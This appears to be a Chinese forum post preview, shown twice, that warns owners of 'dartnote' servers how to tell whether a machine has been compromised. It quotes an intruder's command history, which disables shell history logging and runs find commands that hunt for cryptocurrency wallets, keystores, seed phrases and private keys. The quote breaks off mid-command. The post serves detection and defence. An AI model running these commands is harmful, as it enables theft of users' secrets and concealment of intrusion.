主题：看一下你的dartnote机器有没有被入侵发布者：sigming标签分类：日常时间：2026-10-10 07:43:12内容预览：在你的dartnote服务器上执行ls -al .bash_history显示下面内容,就是有人在你小鸡上搞事情了lrwxrwxrwx 1 root root 9 Sep 24 22:10 .bash_history -%26gt%3b /dev/null那是别人为了掩盖执行过的命令,把记录文件重定向到黑洞 3 unset HISTFILE 4 export HISTFILE=/dev/null 5 set +o history 6 HIST_START=$HISTCMD 7 find /home /root /opt /var /mnt /media /srv /data -type f $ -iname "*wallet*" -o -iname "*keystore*" -o -iname "*.dat" -o -iname "*.key" -o -iname "*.json" -o -iname "*seed*" -o -iname "*mnemonic*" -o -iname "*private*" -o -iname "*electrum*" -o -iname "*bitcoin*" -o -iname "*ethereum*" -o -iname "*monero*" -o -iname "*crypto*" $ -size +100c -size -100M 2%26gt%3b/dev/null 8 find /home /root -type d $ -name ".bitcoin" -o -name ".ethereum" -o -name ".electrum" -o -name ".monero" -o -name ".config" -o -name ".local" $ -exec find {} -type f -size +100c -s直达链接：

主题：看一下你的dartnote机器有没有被入侵
发布者：sigming
标签分类：日常
时间：2026-10-10 07:43:12
内容预览：在你的dartnote服务器上执行ls -al .bash_history显示下面内容,就是有人在你小鸡上搞事情了lrwxrwxrwx 1 root root 9 Sep 24 22:10 .bash_history -%26gt%3b /dev/null那是别人为了掩盖执行过的命令,把记录文件重定向到黑洞 3 unset HISTFILE 4 export HISTFILE=/dev/null 5 set +o history 6 HIST_START=$HISTCMD 7 find /home /root /opt /var /mnt /media /srv /data -type f $ -iname "*wallet*" -o -iname "*keystore*" -o -iname "*.dat" -o -iname "*.key" -o -iname "*.json" -o -iname "*seed*" -o -iname "*mnemonic*" -o -iname "*private*" -o -iname "*electrum*" -o -iname "*bitcoin*" -o -iname "*ethereum*" -o -iname "*monero*" -o -iname "*crypto*" $ -size +100c -size -100M 2%26gt%3b/dev/null 8 find /home /root -type d $ -name ".bitcoin" -o -name ".ethereum" -o -name ".electrum" -o -name ".monero" -o -name ".config" -o -name ".local" $ -exec find {} -type f -size +100c -s
直达链接： https://www.nodeseek.com/post-973695-1